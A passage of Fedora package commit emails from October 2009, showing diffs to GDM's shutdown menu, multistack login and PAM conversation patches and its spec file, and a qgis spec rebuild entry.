++                image = gtk_image_new_from_icon_name ("system-shutdown", GTK_ICON_SIZE_BUTTON);
++                gtk_widget_show (image);
++                gtk_container_add (GTK_CONTAINER (panel->priv->shutdown_button), image);
+ 
+                 if (panel->priv->display_is_local) {
+                         menu_item = gtk_menu_item_new_with_label ("Disconnect");
+                         g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_disconnect), NULL);
+-                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                 } else {
+                         if (can_suspend ()) {
+                                 menu_item = gtk_menu_item_new_with_label ("Suspend");
+                                 g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_suspend), NULL);
+-                                gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
++                                gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                         }
+ 
+                         menu_item = gtk_menu_item_new_with_label ("Restart");
+                         g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_restart), NULL);
+-                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+ 
+                         menu_item = gtk_menu_item_new_with_label ("Shut Down");
+                         g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_stop), NULL);
+-                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                 }
+ 
+-                gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (shutdown_menu), FALSE, FALSE, 0);
+-                gtk_widget_show_all (GTK_WIDGET (shutdown_menu));
++                gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (panel->priv->shutdown_button), FALSE, FALSE, 0);
++                gtk_widget_show_all (panel->priv->shutdown_menu);
++                gtk_widget_show_all (GTK_WIDGET (panel->priv->shutdown_button));
+         }
+ 
+         panel->priv->clock = gdm_clock_widget_new ();
+-- 
+1.6.5.rc2
+
+
+From 4c206142ddb22315d9beb42eae9d868f449bdf11 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Tue, 20 Oct 2009 17:23:15 -0400
+Subject: [PATCH 3/3] Mark Shutdown, Restart, and Suspend for translation
+
+---
+ gui/simple-greeter/gdm-greeter-panel.c |    6 +++---
+ 1 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-panel.c b/gui/simple-greeter/gdm-greeter-panel.c
+index d5dd820..016f636 100644
+--- a/gui/simple-greeter/gdm-greeter-panel.c
++++ b/gui/simple-greeter/gdm-greeter-panel.c
+@@ -926,16 +926,16 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
+                         gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                 } else {
+                         if (can_suspend ()) {
+-                                menu_item = gtk_menu_item_new_with_label ("Suspend");
++                                menu_item = gtk_menu_item_new_with_label (_("Suspend"));
+                                 g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_suspend), NULL);
+                                 gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                         }
+ 
+-                        menu_item = gtk_menu_item_new_with_label ("Restart");
++                        menu_item = gtk_menu_item_new_with_label (_("Restart"));
+                         g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_restart), NULL);
+                         gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+ 
+-                        menu_item = gtk_menu_item_new_with_label ("Shut Down");
++                        menu_item = gtk_menu_item_new_with_label (_("Shut Down"));
+                         g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_stop), NULL);
+                         gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                 }
+-- 
+1.6.5.rc2
+

gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |   23 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  316 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   41 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  420 +++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   41 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1120 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1105 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 105 files changed, 9623 insertions(+), 1258 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1 -r 1.2 gdm-multistack.patchIndex: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gdm-multistack.patch	23 Sep 2009 23:39:05 -0000	1.1
+++ gdm-multistack.patch	23 Oct 2009 02:27:30 -0000	1.2
@@ -1,1434 +1,1351 @@
-diff -up gdm-2.28.0/common/gdm-marshal.list.multistack gdm-2.28.0/common/gdm-marshal.list
---- gdm-2.28.0/common/gdm-marshal.list.multistack	2009-09-21 16:05:27.000000000 -0400
-+++ gdm-2.28.0/common/gdm-marshal.list	2009-09-23 18:46:06.861400723 -0400
-@@ -5,3 +5,4 @@ VOID:STRING,STRING
- VOID:UINT,UINT
- VOID:STRING,INT
- VOID:DOUBLE
-+BOOLEAN:STRING
-diff -up gdm-2.28.0/configure.ac.multistack gdm-2.28.0/configure.ac
---- gdm-2.28.0/configure.ac.multistack	2009-09-23 18:46:06.497641172 -0400
-+++ gdm-2.28.0/configure.ac	2009-09-23 18:46:06.800400573 -0400
-@@ -18,6 +18,22 @@ AC_PROG_CXX
- AM_PROG_CC_C_O
- AC_PROG_LIBTOOL()
+From 2d9281ddbcf51f7dac5591cdf300a2527dc1a09f Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 20 Feb 2009 13:52:19 -0500
+Subject: [PATCH 04/40] Add a comment marking protected api in chooser
+
+The chooser widget has methods that only its
+subclasses are supposed to call.  We should
+mark them as such.
+---
+ gui/simple-greeter/gdm-chooser-widget.h |    2 ++
+ 1 files changed, 2 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-chooser-widget.h b/gui/simple-greeter/gdm-chooser-widget.h
+index 578e613..7e3e59c 100644
+--- a/gui/simple-greeter/gdm-chooser-widget.h
++++ b/gui/simple-greeter/gdm-chooser-widget.h
+@@ -136,6 +136,8 @@ int            gdm_chooser_widget_get_number_of_items          (GdmChooserWidget
+ void           gdm_chooser_widget_activate_if_one_item         (GdmChooserWidget          *widget);
+ void           gdm_chooser_widget_propagate_pending_key_events (GdmChooserWidget          *widget);
  
-+## increment if the plugin interface has additions, changes, removals.
-+LT_CURRENT=1
++/* Protected
++ */
+ void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
+ 
+ G_END_DECLS
+-- 
+1.6.5.rc2
+
+
+From 85e51354d6715a476763246b92f525ade2ff38e5 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 6 Feb 2009 17:44:37 -0500
+Subject: [PATCH 05/40] Drop duplicated entry introspection output
+
+---
+ daemon/gdm-greeter-server.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-greeter-server.c b/daemon/gdm-greeter-server.c
+index 2e01d33..cecce83 100644
+--- a/daemon/gdm-greeter-server.c
++++ b/daemon/gdm-greeter-server.c
+@@ -752,7 +752,6 @@ do_introspect (DBusConnection *connection,
+                                "      <arg name=\"layout_name\" type=\"s\"/>\n"
+                                "    </signal>\n"
+                                "    <signal name=\"DefaultSessionNameChanged\">\n"
+-                               "    <signal name=\"DefaultSessionNameChanged\">\n"
+                                "      <arg name=\"session_name\" type=\"s\"/>\n"
+                                "    </signal>\n"
+                                "    <signal name=\"TimedLoginRequested\">\n"
+-- 
+1.6.5.rc2
+
+
+From 1e38ed6f70ef52e7e62c7487d8ca9adb03bf7655 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 2 Mar 2009 10:07:03 -0500
+Subject: [PATCH 06/40] Make lookup_item not warn when passing NULL for args
+
+gtk_tree_model_get doesn't like NULL, and we allow
+NULL for optional return values.
+
+We now check each argument for NULL and call
+gtk_tree_model_get individually N times (one for
+each argument) instead of just once.
+---
+ gui/simple-greeter/gdm-chooser-widget.c |   31 ++++++++++++++++++++++++-------
+ 1 files changed, 24 insertions(+), 7 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
+index 2875456..cbd5072 100644
+--- a/gui/simple-greeter/gdm-chooser-widget.c
++++ b/gui/simple-greeter/gdm-chooser-widget.c
+@@ -2171,13 +2171,30 @@ gdm_chooser_widget_lookup_item (GdmChooserWidget *widget,
+         }
+         g_free (active_item_id);
+ 
+-        gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
+-                            CHOOSER_IMAGE_COLUMN, image,
+-                            CHOOSER_NAME_COLUMN, name,
+-                            CHOOSER_PRIORITY_COLUMN, priority,
+-                            CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use,
+-                            CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate,
+-                            -1);
++        if (image != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_IMAGE_COLUMN, image, -1);
++        }
 +
-+## increment any time the source changes; set to
-+##  0 if you increment CURRENT
-+LT_REVISION=0
++        if (name != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_NAME_COLUMN, name, -1);
++        }
 +
-+## increment if any interfaces have been added; set to 0
-+## if any interfaces have been changed or removed. removal has
-+## precedence over adding, so set to 0 if both happened.
-+LT_AGE=0
++        if (priority != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_PRIORITY_COLUMN, priority, -1);
++        }
 +
-+AC_SUBST(LT_CURRENT)
-+AC_SUBST(LT_REVISION)
-+AC_SUBST(LT_AGE)
++        if (is_in_use != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use, -1);
++        }
 +
- AC_HEADER_STDC
++        if (is_separate != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate, -1);
++        }
  
- AC_SUBST(VERSION)
-@@ -51,6 +67,7 @@ LIBXKLAVIER_REQUIRED_VERSION=4.0
- LIBCANBERRA_GTK_REQUIRED_VERSION=0.4
- #FONTCONFIG_REQUIRED_VERSION=2.6.0
- FONTCONFIG_REQUIRED_VERSION=2.5.0
-+NSS_REQUIRED_VERSION=3.11.1
+         return TRUE;
+ }
+-- 
+1.6.5.rc2
+
+
+From 185301a9f9b00eb3d1dac89a1b0a956c1a30c304 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 6 Feb 2009 15:35:00 -0500
+Subject: [PATCH 07/40] Drop "stopped" signal from worker-job class
+
+It was unused, dead code.
+---
+ daemon/gdm-session-direct.c     |   14 --------------
+ daemon/gdm-session-worker-job.c |   11 -----------
+ daemon/gdm-session-worker-job.h |    1 -
+ 3 files changed, 0 insertions(+), 26 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index 47a5778..b6abae4 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -1539,13 +1539,6 @@ gdm_session_direct_init (GdmSessionDirect *session)
+ }
  
- EXTRA_COMPILE_WARNINGS(yes)
+ static void
+-worker_stopped (GdmSessionWorkerJob *job,
+-                GdmSessionDirect    *session)
+-{
+-        g_debug ("GdmSessionDirect: Worker job stopped");
+-}
+-
+-static void
+ worker_started (GdmSessionWorkerJob *job,
+                 GdmSessionDirect    *session)
+ {
+@@ -1588,10 +1581,6 @@ start_worker (GdmSessionDirect *session)
+         session->priv->job = gdm_session_worker_job_new ();
+         gdm_session_worker_job_set_server_address (session->priv->job, session->priv->server_address);
+         g_signal_connect (session->priv->job,
+-                          "stopped",
+-                          G_CALLBACK (worker_stopped),
+-                          session);
+-        g_signal_connect (session->priv->job,
+                           "started",
+                           G_CALLBACK (worker_started),
+                           session);
+@@ -1613,9 +1602,6 @@ static void
[...24033 lines suppressed...]
-+ * (at your option) any later version.
-+ *
-+ * This program is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this program; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-+ *
-+ * Written By: Ray Strode <rstrode at redhat.com>
-+ *
-+ */
++static void
+ gdm_session_direct_start_session (GdmSession *session,
+                                   const char *service_name)
+ {
+@@ -2267,12 +2301,20 @@ gdm_session_direct_start_session (GdmSession *session,
+         g_return_if_fail (session != NULL);
+         g_return_if_fail (impl->priv->is_running == FALSE);
+ 
++        conversation = find_conversation_by_name (impl, service_name);
 +
-+#include "gdm-smartcard-extension.h"
++        if (conversation == NULL) {
++                g_warning ("GdmSessionDirect: Tried to start session of "
++                           "nonexistent conversation %s", service_name);
++                return;
++        }
 +
-+#include <gio/gio.h>
-+#include <gtk/gtk.h>
++        stop_all_other_conversations (impl, conversation);
 +
-+GdmGreeterExtension *
-+gdm_greeter_plugin_get_extension (void)
-+{
-+        static GObject *extension;
+         command = get_session_command (impl);
+         program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
+         g_free (command);
+ 
+-        conversation = find_conversation_by_name (impl, service_name);
+-
+         setup_session_environment (impl);
+         send_environment (impl, conversation);
+ 
+@@ -2283,23 +2325,7 @@ gdm_session_direct_start_session (GdmSession *session,
+ static void
+ stop_all_conversations (GdmSessionDirect *session)
+ {
+-        GHashTableIter iter;
+-        gpointer key, value;
+-
+-        if (session->priv->conversations == NULL) {
+-                return;
+-        }
+-
+-        g_hash_table_iter_init (&iter, session->priv->conversations);
+-        while (g_hash_table_iter_next (&iter, &key, &value)) {
+-                GdmSessionConversation *conversation;
+-
+-                conversation = (GdmSessionConversation *) value;
+-
+-                stop_conversation (conversation);
+-        }
+-
+-        g_hash_table_remove_all (session->priv->conversations);
++        stop_all_other_conversations (session, NULL);
+ }
+ 
+ static void
+diff --git a/daemon/gdm-simple-slave.c b/daemon/gdm-simple-slave.c
+index 337718b..63ea82c 100644
+--- a/daemon/gdm-simple-slave.c
++++ b/daemon/gdm-simple-slave.c
+@@ -575,7 +575,7 @@ on_session_conversation_stopped (GdmSession     *session,
+         gboolean res;
+         g_debug ("GdmSimpleSlave: conversation stopped");
+ 
+-        if (slave->priv->greeter_server != NULL) {
++        if (slave->priv->greeter != NULL) {
+                 res = gdm_greeter_server_conversation_stopped (slave->priv->greeter_server,
+                                                                service_name);
+                 if (! res) {
+-- 
+1.6.5.rc2
+
+
+From 2ebacfe2a39bf72b42b40fe57ab30bff90e1f201 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Tue, 21 Apr 2009 15:30:28 -0400
+Subject: [PATCH 38/40] When one PAM conv. wins, actually stop the others
+
+We weren't properly keeping the winning conversation
+around in the previous commit
+---
+ daemon/gdm-session-direct.c |   13 ++++++++++---
+ 1 files changed, 10 insertions(+), 3 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index d5209f4..d2ffc87 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -2280,13 +2280,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
+                 conversation = (GdmSessionConversation *) value;
+ 
+                 if (conversation == conversation_to_keep) {
+-                        continue;
++                        g_hash_table_iter_steal (&iter);
++                        g_free (key);
++                } else {
++                        stop_conversation (conversation);
+                 }
+-
+-                stop_conversation (conversation);
+         }
+ 
+         g_hash_table_remove_all (session->priv->conversations);
 +
-+        if (extension != NULL) {
-+                g_object_ref (extension);
-+        } else {
-+                extension = g_object_new (GDM_TYPE_SMARTCARD_EXTENSION, NULL);
-+                g_object_add_weak_pointer (extension, (gpointer *) &extension);
++        if (conversation_to_keep != NULL) {
++                g_hash_table_insert (session->priv->conversations,
++                                     g_strdup (conversation_to_keep->service_name),
++                                     conversation_to_keep);
 +        }
+ }
+ 
+ static void
+-- 
+1.6.5.rc2
+
+
+From a121a7ca2712f7669d31f6f62809ebe01602a687 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 24 Jul 2009 14:41:48 -0400
+Subject: [PATCH 39/40] KILL pam stack instead of TERM pam stack
+
+Some PAM modules are really slow to shut down.
+We need to handle them being slow to shut down better,
+(by not blocking login on them shutting down etc), but
+in the mean time force them to die immediately.
+
+This is a temporary hack.
+---
+ daemon/gdm-session-worker-job.c |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-session-worker-job.c b/daemon/gdm-session-worker-job.c
+index 0327d77..d99b8a5 100644
+--- a/daemon/gdm-session-worker-job.c
++++ b/daemon/gdm-session-worker-job.c
+@@ -320,7 +320,7 @@ gdm_session_worker_job_stop (GdmSessionWorkerJob *session_worker_job)
+ 
+         g_debug ("GdmSessionWorkerJob: Stopping job pid:%d", session_worker_job->priv->pid);
+ 
+-        res = gdm_signal_pid (session_worker_job->priv->pid, SIGTERM);
++        res = gdm_signal_pid (session_worker_job->priv->pid, SIGKILL);
+ 
+         if (res < 0) {
+                 g_warning ("Unable to kill session worker process");
+-- 
+1.6.5.rc2
+
+
+From 7304eb766ac3bd744d964e08c84a34d574f35bf8 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 21 Oct 2009 16:08:52 -0400
+Subject: [PATCH 40/40] Don't show tasklist for autologin
+
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
+ 1 files changed, 5 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index fda4ba0..ce8fa38 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -1195,6 +1195,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
+         set_message (login_window, _("Select language and click Log In"));
+ 
+         switch_mode (login_window, MODE_AUTHENTICATION);
 +
-+        return GDM_GREETER_EXTENSION (extension);
-+}
++        show_widget (login_window, "conversation-list", FALSE);
++        gdm_task_list_foreach_task (GDM_TASK_LIST (login_window->priv->conversation_list),
++                                    (GdmTaskListForeachFunc) reset_task,
++                                    login_window);
+ }
+ 
+ static gboolean
+-- 
+1.6.5.rc2
+


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.498
retrieving revision 1.499
diff -u -p -r1.498 -r1.499
--- gdm.spec	21 Oct 2009 15:02:08 -0000	1.498
+++ gdm.spec	23 Oct 2009 02:27:30 -0000	1.499
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -100,10 +100,12 @@ Patch3: gdm-2.23.92-save-root-window.pat
 # https://bugzilla.gnome.org/show_bug.cgi?id=572765
 Patch13: gdm-system-keyboard.patch
 
-Patch19: gdm-multistack.patch
 Patch20: gdm-2.28.1-move-shutdown-functions.patch
 Patch21: fix-clock.patch
+Patch22: fix-timer.patch
+Patch23: fix-na-tray.patch
 
+Patch97: gdm-multistack.patch
 # Fedora-specific
 Patch98: gdm-bubble-location.patch
 Patch99: gdm-2.23.1-fedora-logo.patch
@@ -147,10 +149,12 @@ The GDM fingerprint plugin provides func
 %patch3 -p1 -b .save-root-window
 %patch13 -p1 -b .system-keyboard
 
-%patch19 -p1 -b .multistack
 %patch20 -p1 -b .move-shutdown-functions
 %patch21 -p1 -b .fix-clock
+%patch22 -p1 -b .fix-timer
+%patch23 -p1 -b .fix-na-tray
 
+%patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
 
@@ -401,6 +405,12 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Thu Oct 22 2009 Ray Strode <rstrode at redhat.com> 2.28.1-4
+- Fix autologin window spasms
+- Fix autologin timer animation
+- Make autologin and multistack play better together
+- Add padding to notification tray
+
 * Wed Oct 21 2009 Ray Strode <rstrode at redhat.com> 2.28.1-3
 - Move date from panel to clock tooltip
 



From alexlan at fedoraproject.org  Fri Oct 23 03:21:58 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Fri, 23 Oct 2009 03:21:58 +0000 (UTC)
Subject: rpms/qgis/F-11 qgis.spec,1.37,1.38
Message-ID: <20091023032158.E968111C008C@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/qgis/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19059

Modified Files:
	qgis.spec 
Log Message:
* Thu Oct 22 2009 Alex Lancaster <alexlan[AT] fedoraproject org> - 1.0.2-1.1
- Rebuilt to fix python problem (#518121)



Index: qgis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qgis/F-11/qgis.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- qgis.spec	30 Jul 2009 20:16:18 -0000	1.37
+++ qgis.spec	23 Oct 2009 03:21:57 -0000	1.38
@@ -3,7 +3,7 @@
 
 Name: qgis
 Version: 1.0.2
-Release: 1%{?dist}
+Release: 1%{?dist}.1
 Summary: A user friendly Open Source Geographic Information System
 
 Group: Applications/Engineering
@@ -246,6 +246,9 @@ desktop-file-install --vendor="fedora" \
 
 
 %changelog
+* Thu Oct 22 2009 Alex Lancaster <alexlan[AT] fedoraproject org> - 1.0.2-1.1
+- Rebuilt to fix python problem (#518121)
+
 * Thu Jul 30 2009 Douglas E. Warner <silfreed at silfreed.net> 1.0.2-1
 - updating for 1.0.2
 - moving libqgispython.so to python subpackage for bug#507381



From mfleming at fedoraproject.org  Fri Oct 23 03:35:30 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Fri, 23 Oct 2009 03:35:30 +0000 (UTC)
Subject: rpms/mcabber/F-12 .cvsignore, 1.6, 1.7 mcabber.spec, 1.14,
	1.15 sources, 1.6, 1.7
Message-ID: <20091023033530.131B011C008C@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20460

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
